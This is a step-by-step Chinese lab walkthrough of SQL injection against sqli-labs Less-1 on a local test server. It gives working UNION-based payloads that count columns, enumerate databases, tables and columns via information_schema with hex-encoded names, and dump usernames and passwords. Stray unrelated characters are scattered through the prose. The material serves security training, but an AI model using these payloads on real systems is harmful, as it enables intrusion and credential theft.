1. 搭建靶場抛人,進(jìn)入第一關(guān)邪意,靶場搭建可參照[sqli-labs 靶場搭建]
2. 正常 URL:
http://127.0.0.1/sqli/Less-1/?id=1
3. 檢查是否有注入機(jī)會(huì)(加引號):
http://127.0.0.1/sqli/Less-1/?id=1'
(1) 查看頁面是否會(huì)報(bào) SQL 語法錯(cuò)誤舔稀,若顯示語法錯(cuò)誤沸版,則表示有注入的機(jī)會(huì)
--- 若存在注入機(jī)會(huì)厕倍,則可以通過下列方法撈出底層數(shù)據(jù)庫中的表數(shù)據(jù)內(nèi)容 ---
4. 查詢當(dāng)前使用的表有多少列:
http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+
(1) --+ 的作用是注釋屏蔽后續(xù)的 SQL 語句(用于屏蔽開發(fā)者本意想要的 SQL 內(nèi)容)
(2) order by 的用法是根據(jù)第 N 列排序外冀,若報(bào)錯(cuò)提示第 N 列不存在,則說明表中沒有第 N 列
(3) 通過是否存在第 N 列媳溺,可以找到該表總共有多少列
5. 查看哪些列可以回顯:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 --+
(1) union 的用法是取前表內(nèi)容和后表內(nèi)容的集合
(2) 此處通過改 id=-1 來使前表查詢內(nèi)容為空月幌,進(jìn)而結(jié)果只取后表內(nèi)容
(3) 而后表是我們自己構(gòu)造的 SQL,故通過構(gòu)造一個(gè)和原數(shù)據(jù)表等列數(shù)的數(shù)據(jù)表悬蔽,再根據(jù)頁面回顯的內(nèi)容可以判斷出前端頁面取的是哪個(gè)列項(xiàng)的數(shù)據(jù)
6. 查看當(dāng)前使用的數(shù)據(jù)庫:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,database() --+
(1) database() 的用法是返回當(dāng)前使用的數(shù)據(jù)庫名稱
(2) 探查到前端取數(shù)邏輯后扯躺,就可以在其取數(shù)位置上做文章
(3) 這里我們讓第 3 列的數(shù)據(jù)取 database()
(4) 那么頁面回顯的內(nèi)容及當(dāng)前使用的數(shù)據(jù)庫名稱
7. 查看數(shù)據(jù)庫下所有表名:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
(1) 0x7365637572697479 為 security 的十六進(jìn)制轉(zhuǎn)換(轉(zhuǎn)換原因:若是'security'也是可以查詢的,但有時(shí)候單引號會(huì)被轉(zhuǎn)義蝎困,故直接使用十六進(jìn)制可以避免該情況)
(2) information_schema.tables 中存放著數(shù)據(jù)庫中的所有表名
(3) group_concat() 的用法是拼接所有列項(xiàng)數(shù)據(jù)
8. 查看表下所有字段名:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 --+
(1) 0x7365637572697479 為 security 的十六進(jìn)制轉(zhuǎn)換
(2) 0x7573657273 為 users 的十六進(jìn)制轉(zhuǎn)換
(3) information_schema.columns 中存放著數(shù)據(jù)庫中所有列項(xiàng)名稱
9. 查看表下所有用戶和密碼:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(concat(username,'~',password)) from security.users --+
10. 此外录语,也可以查看所有的數(shù)據(jù)庫名稱:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+